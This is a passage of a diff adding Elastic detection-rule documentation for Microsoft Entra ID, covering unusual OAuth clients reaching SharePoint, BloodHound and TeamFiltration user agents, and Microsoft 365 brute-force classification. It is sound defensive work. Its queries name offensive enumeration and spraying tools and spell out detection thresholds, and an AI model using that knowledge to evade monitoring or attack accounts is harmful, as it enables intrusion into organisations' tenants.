+---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc new file mode 100644 index 0000000000..6841727ed5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client]] +=== Entra ID Sharepoint or OneDrive Accessed by Unusual Client + +Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ +* https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-consent-requests +* https://github.com/merill/microsoft-info/blob/main/_info/MicrosoftApps.json + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: Storage +* Use Case: Identity and Access Audit +* Tactic: Collection +* Tactic: Initial Access +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Resources: Investigation Guide +* Rule Type: New Terms +* Noise: Medium +* Performance: Fast +* Platform: Entra ID +* Platform: Azure +* Service: Microsoft SharePoint +* Service: Microsoft OneDrive + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Sharepoint or OneDrive Accessed by Unusual Client* + + +This rule identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant. This is a critical signal for detecting successful OAuth phishing campaigns, where adversaries trick users into granting consent to malicious applications. Once consent is granted, the malicious app can persistently access file storage without further user interaction. This detection also catches illicit consent grants, compromised third-party applications, or custom malicious apps registered by adversaries. + + +*Possible Investigation Steps:* + + +- Identify the Application: Review `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.app_display_name` to determine which application accessed SharePoint. Cross-reference with known legitimate applications in your environment. +- Check Application Registration: Search Entra ID app registrations for the app ID. Determine if it's a first-party Microsoft app, known third-party integration, or suspicious/unknown application. +- Review Consent History: Investigate when and how consent was granted. Check `azure.auditlogs` for recent `Consent to application` events matching this app ID. Identify which user granted consent and whether it was admin or user consent. +- Analyze Permissions Granted: Review the OAuth scopes and permissions granted to the application. Look for overly broad permissions (e.g., `Files.ReadWrite.All`, `Sites.ReadWrite.All`) that exceed business requirements. +- Correlate with User Activity: Check if the user who granted consent recently received phishing emails, clicked suspicious links, or reported potential phishing attempts. +- Inspect Source IP and Location: Review `source.ip` and `source.geo.*` fields. Determine if the sign-in originated from expected locations or suspicious infrastructure (VPNs, data centers, anonymizers). +- Review Application Publisher: Check if the application is verified by Microsoft or has a suspicious/generic publisher name. Unverified applications with generic names (e.g., "File Viewer", "Document Manager") are common in phishing. +- Check for Data Access: Review subsequent SharePoint audit logs to see what files/sites the application accessed after gaining consent. +- Conditional Access Evaluation: Review `azure.signinlogs.properties.applied_conditional_access_policies` to determine if any security controls were bypassed or if the application should have been blocked. + + +*False Positive Analysis* + + +- New Legitimate Integrations: Newly deployed third-party SaaS applications (e.g., document management, collaboration tools) that integrate with SharePoint will trigger this detection during initial setup. Validate with IT/procurement teams. +- Microsoft First-Party Applications: This rule excludes known SharePoint, OneDrive, Outlook Web, and Teams web or service clients that commonly access SharePoint. It also excludes service-principal sign-ins when the application is owned by Microsoft's tenant. User sign-ins from reusable first-party clients such as Outlook Mobile, Microsoft Teams, and Microsoft Office remain detectable because adversaries can abuse these clients in OAuth phishing. +- Development/Testing: Developers testing OAuth flows or building internal applications may generate alerts in development or staging environments. +- Organizational Changes: Mergers, acquisitions, or tenant migrations may introduce legitimate applications from partner organizations accessing SharePoint for the first time. + + +*Response and Remediation* + + +- Immediate Actions if Malicious: + - Revoke consent for the malicious application immediately via Entra ID > Enterprise Applications + - Revoke all active sessions and refresh tokens for affected users + - Disable the application's service principal to prevent further access + - Review and remediate any data accessed by the application using SharePoint audit logs +- User Notification: Contact users who granted consent to inform them of the phishing attempt and provide security awareness training on identifying malicious OAuth consent requests +- Conditional Access Hardening: Implement or strengthen Conditional Access policies to: + - Require admin consent for high-risk permissions (Files.ReadWrite.All, Sites.ReadWrite.All) + - Block unverified publishers from accessing sensitive resources + - Enforce device compliance and MFA for application access +- Tenant-Wide Review: Audit all application consents across the tenant to identify other potentially malicious applications that may have gained access through similar campaigns +- Monitor for Campaign Patterns: Check if the same malicious application targeted multiple users, indicating an organized phishing campaign. Coordinate with email security teams to identify and block phishing emails used in the campaign. + + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and +azure.signinlogs.properties.resource_id:( + 00000003-0000-0ff1-ce00-000000000000 or + 6a9b9266-8161-4a7b-913a-a9eda19da220 +) and +azure.signinlogs.properties.app_id:(* and not ( + 00000003-0000-0ff1-ce00-000000000000 or + 08e18876-6177-487e-b8b5-cf950c1e598c or + 5e3ce6c0-2b1f-4285-8d4b-75ee78787346 or + 9199bf20-a13f-4107-85dc-02114787ef48 or + ab9b8c07-8f02-4f72-87fa-80105867a763 or + af124e86-4e96-495a-b70a-90f90ab96707 or + cc15fd57-2c6c-4117-a88c-83b1d56b4bbe +)) and +not ( + azure.signinlogs.properties.app_owner_tenant_id:f8cdef31-a31e-4b4a-93e4-5f571e91255a and + azure.signinlogs.category:MicrosoftServicePrincipalSignInLogs +) and +azure.signinlogs.properties.tenant_id:* and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc new file mode 100644 index 0000000000..6fcb7e55ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-entra-id-sign-in-bloodhound-suite-user-agent-detected]] +=== Entra ID Sign-in BloodHound Suite User-Agent Detected + +Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/bloodhound-overview/ +* https://github.com/SpecterOps/AzureHound +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Data Source: Graph API +* Data Source: Graph API Activity Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID +* Domain: Identity +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +The detection is based on known enumeration patterns, particularly the presence of suspicious user agent strings (e.g., `azurehound/`, `sharphound/`, `bloodhound/`) in various Azure and M365 logs. The rule monitors multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + +This ensures broader detection of credential abuse, token misuse, or unauthorized identity discovery activity from both interactive and non-interactive (API) sessions. + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. Look for: + - `azurehound/x.y.z` + - `bloodhound/1.0` + - `sharphound/1.0` +- Examine `url.original` or `url.path` to determine which APIs were accessed if Graph API activity logs. For example: + - `/v1.0/organization`, `/v1.0/users`, `/v1.0/groups` may indicate user/group/tenant discovery. +- Identify the `user.id`, `user.name`, or `azure.auditlogs.properties.initiated_by.user.user_principal_name` fields to determine which identity executed the API request. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip`, `client.geo.*`, and `network.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. +- Automated monitoring solutions, cloud posture scanners, or legitimate Azure/M365 integrations may generate similar traffic. Review the `app_id` and user context. +- Developer activity in test tenants may include tool usage for learning or validation purposes. + + +*Response and remediation* + + +- If confirmed malicious: + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset : ( + "azure.activitylogs", + "azure.graphactivitylogs", + "azure.auditlogs", + "azure.signinlogs", + "o365.audit" +) and user_agent.original regex~ "(azure|sharp|blood)(hound)/.*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc new file mode 100644 index 0000000000..b2a2fd3edd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc @@ -0,0 +1,281 @@ +[[prebuilt-rule-8-19-34-entra-id-sign-in-brute-force-attempted-microsoft-365]] +=== Entra ID Sign-in Brute Force Attempted (Microsoft 365) + +Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Sign-in Brute Force Attempted (Microsoft 365)* + + +Identifies brute-force authentication activity against Microsoft 365 services using Entra ID sign-in logs. This detection groups and classifies failed sign-in attempts based on behavior indicative of password spraying, credential stuffing, or password guessing. The classification (`bf_type`) is included for immediate triage. + + +*Possible investigation steps* + + +- Review `bf_type`: Classifies the brute-force behavior (`password_spraying`, `credential_stuffing`, `password_guessing`). +- Examine `user_id_list`: Review the identities targeted. Are they admins, service accounts, or external identities? +- Review `login_errors`: Multiple identical errors (e.g., `"Invalid grant..."`) suggest automated abuse or tooling. +- Check `ip_list` and `source_orgs`: Determine if requests came from known VPNs, hosting providers, or anonymized infrastructure. +- Validate `unique_ips` and `countries`: Multiple countries or IPs in a short window may indicate credential stuffing or distributed spray attempts. +- Compare `total_attempts` vs `duration_seconds`: High volume over a short duration supports non-human interaction. +- Inspect `user_agent.original` via `device_detail_browser`: Clients like `Python Requests` or `curl` are highly suspicious. +- Investigate `client_app_display_name` and `incoming_token_type`: Identify non-browser-based logins, token abuse or commonly mimicked clients like VSCode. +- Review `target_resource_display_name`: Confirm the service being targeted (e.g., SharePoint, Exchange). This may be what authorization is being attempted against. +- Pivot using `session_id` and `device_detail_device_id`: Determine if a single device is spraying multiple accounts. +- Check `conditional_access_status`: If "notApplied", determine whether conditional access is properly scoped. +- Correlate `user_principal_name` with successful sign-ins: Investigate surrounding logs for lateral movement or privilege abuse. + + +*False positive analysis* + + +- Developer automation (e.g., CI/CD logins) or mobile sync errors may create noisy but benign login failures. +- Red team exercises or pentesting can resemble brute-force patterns. +- Legacy protocols or misconfigured service principals may trigger repeated login failures from the same IP or session. + + +*Response and remediation* + + +- Notify identity or security operations teams to investigate further. +- Lock or reset affected user accounts if compromise is suspected. +- Block the source IP(s) or ASN temporarily using conditional access or firewall rules. +- Review tenant-wide MFA and conditional access enforcement. +- Audit targeted accounts for password reuse across systems or tenants. +- Enable lockout or throttling policies for repeated failed login attempts. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +| eval + Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name), + Esql.user_agent_original = user_agent.original + +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and azure.signinlogs.properties.resource_display_name rlike "(.*)365|SharePoint|Exchange|Teams|Office(.*)" + and event.outcome == "failure" + and azure.signinlogs.properties.status.error_code != 50053 + and azure.signinlogs.properties.status.error_code in ( + 50034, // UserAccountNotFound + 50126, // InvalidUsernameOrPassword + 50055, // PasswordExpired + 50056, // InvalidPassword + 50057, // UserDisabled + 50064, // CredentialValidationFailure + 50076, // MFARequiredButNotPassed + 50079, // MFARegistrationRequired + 50105, // EntitlementGrantsNotFound + 70000, // InvalidGrant + 70008, // ExpiredOrRevokedRefreshToken + 70043, // BadTokenDueToSignInFrequency + 80002, // OnPremisePasswordValidatorRequestTimedOut + 80005, // OnPremisePasswordValidatorUnpredictableWebException + 50144, // InvalidPasswordExpiredOnPremPassword + 50135, // PasswordChangeCompromisedPassword + 50142, // PasswordChangeRequiredConditionalAccess + 120000, // PasswordChangeIncorrectCurrentPassword + 120002, // PasswordChangeInvalidNewPasswordWeak + 120020 // PasswordChangeFailure + ) + and azure.signinlogs.properties.user_principal_name is not null + and azure.signinlogs.properties.user_principal_name != "" + and user_agent.original != "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower), + Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.@timestamp.min = min(@timestamp), + Esql.@timestamp.max = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.@timestamp.min, Esql.@timestamp.max), + Esql.event_bf_type = case( + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 10 + and Esql.event_count >= 30 + and Esql.azure_signinlogs_result_description_count_distinct <= 3 + and Esql.source_ip_count_distinct >= 5 + and Esql.event_duration_seconds <= 600 + and Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct > Esql.source_ip_count_distinct, + "credential_stuffing", + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 + and Esql.azure_signinlogs_result_description_count_distinct == 1 + and Esql.event_count >= 15 + and Esql.event_duration_seconds <= 1800, + "password_spraying", + + (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct == 1 + and Esql.azure_signinlogs_result_description_count_distinct == 1 + and Esql.event_count >= 30 + and Esql.event_duration_seconds <= 300) + or (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct <= 3 + and Esql.source_ip_count_distinct > 30 + and Esql.event_count >= 100), + "password_guessing", + + "other" + ) + +| where Esql.event_bf_type != "other" + +| keep + Esql.time_window_date_trunc, + Esql.event_bf_type, + Esql.event_duration_seconds, + Esql.event_count, + Esql.@timestamp.min, + Esql.@timestamp.max, + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct, + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_lower_values, + Esql.azure_signinlogs_properties_app_display_name_lower_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc new file mode 100644 index 0000000000..31254cec96 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-entra-id-sign-in-teamfiltration-user-agent-detected]] +=== Entra ID Sign-in TeamFiltration User-Agent Detected + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://github.com/Flangvik/TeamFiltration + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +The detection is based on TeamFiltration's hardcoded user agent string and/or the use of `Electron` by monitoring multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. +- Identify the `user.id`, `user.name`, or `azure.signinlogs.properties.user_principal_name` fields to determine which 